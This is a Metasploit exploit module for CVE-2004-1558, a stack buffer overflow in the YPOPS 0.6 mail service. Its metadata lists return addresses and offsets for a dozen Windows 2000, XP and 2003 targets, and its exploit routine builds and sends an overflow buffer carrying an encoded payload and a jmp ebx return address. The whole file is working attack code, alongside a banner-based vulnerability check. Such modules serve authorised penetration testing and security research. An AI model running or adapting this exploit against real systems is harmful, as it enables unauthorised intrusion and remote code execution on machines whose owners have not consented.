1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Exploit::Remote
7
  Rank = AverageRanking
8

9
  include Msf::Exploit::Remote::Smtp
10

11
  def initialize(info = {})
12
    super(
13
      update_info(
14
        info,
15
        'Name' => 'YPOPS 0.6 Buffer Overflow',
16
        'Description' => %q{
17
          This module exploits a stack buffer overflow in the YPOPS POP3
18
          service.
19

20
          This is a classic stack buffer overflow for YPOPS version 0.6.
21
          Possibly Affected version 0.5, 0.4.5.1, 0.4.5. Eip point to
22
          jmp ebx opcode in ws_32.dll
23
        },
24
        'Author' => [ 'acaro <acaro[at]jervus.it>' ],
25
        'References' => [
26
          [ 'CVE', '2004-1558'],
27
          [ 'OSVDB', '10367'],
28
          [ 'BID', '11256'],
29
          [ 'URL', 'http://www.securiteam.com/windowsntfocus/5GP0M2KE0S.html'],
30
        ],
31
        'Platform' => 'win',
32
        'Privileged' => false,
33
        'Payload' => {
34
          'Space' => 1200,
35
          'BadChars' => "\x00\x25",
36
          'MinNops' => 106,
37
        },
38
        'Targets' => [
39
          [ 'Windows 2000 SP0 Italian', { 'Ret' => 0x74fe6113, 'Offset' => 503 }, ],
40
          [ 'Windows 2000 Advanced Server Italian SP4', { 'Ret' => 0x74fe16e2, 'Offset' => 503 }, ],
41
          [ 'Windows 2000 Advanced Server SP3 English', { 'Ret' => 0x74fe22f3, 'Offset' => 503 }, ],
42
          [ 'Windows 2000 SP0 English', { 'Ret' => 0x75036113, 'Offset' => 503 }, ],
43
          [ 'Windows 2000 SP1 English', { 'Ret' => 0x750317b2, 'Offset' => 503 }, ],
44
          [ 'Windows 2000 SP2 English', { 'Ret' => 0x7503435b, 'Offset' => 503 }, ],
45
          [ 'Windows 2000 SP3 English', { 'Ret' => 0x750322f3, 'Offset' => 503 }, ],
46
          [ 'Windows 2000 SP4 English', { 'Ret' => 0x750316e2, 'Offset' => 503 }, ],
47
          [ 'Windows XP SP0-SP1 English', { 'Ret' => 0x71ab1636, 'Offset' => 503 }, ],
48
          [ 'Windows XP SP2 English', { 'Ret' => 0x71ab773b, 'Offset' => 503 }, ],
49
          [ 'Windows 2003 SP0 English', { 'Ret' => 0x71c04202, 'Offset' => 503 }, ],
50
          [ 'Windows 2003 SP1 English', { 'Ret' => 0x71c05fb0, 'Offset' => 503 }, ],
51
        ],
52
        'DisclosureDate' => '2004-09-27',
53
        'Notes' => {
54
          'Reliability' => UNKNOWN_RELIABILITY,
55
          'Stability' => UNKNOWN_STABILITY,
56
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
57
        }
58
      )
59
    )
60
  end
61

62
  def check
63
    connect
64
    disconnect
65

66
    banner.gsub!(/\n/, '')
67

68
    if banner =~ /YahooPOPs! Simple Mail Transfer Service Ready/
69
      vprint_status("Vulnerable SMTP server: #{banner}")
70
      return Exploit::CheckCode::Detected
71
    end
72

73
    vprint_status("Unknown SMTP server: #{banner}")
74
    return Exploit::CheckCode::Safe
75
  end
76

77
  def exploit
78
    connect
79

80
    pattern =
81
      rand_text_alpha(target['Offset'] - payload.encoded.length) +
82
      payload.encoded +
83
      [target.ret].pack('V') +
84
      "\n"
85

86
    print_status("Trying #{target.name} using jmp ebx at #{"0x%.8x" % target.ret}")
87

88
    sock.put(pattern)
89

90
    handler
91
    disconnect
92
  end
93
end
94

95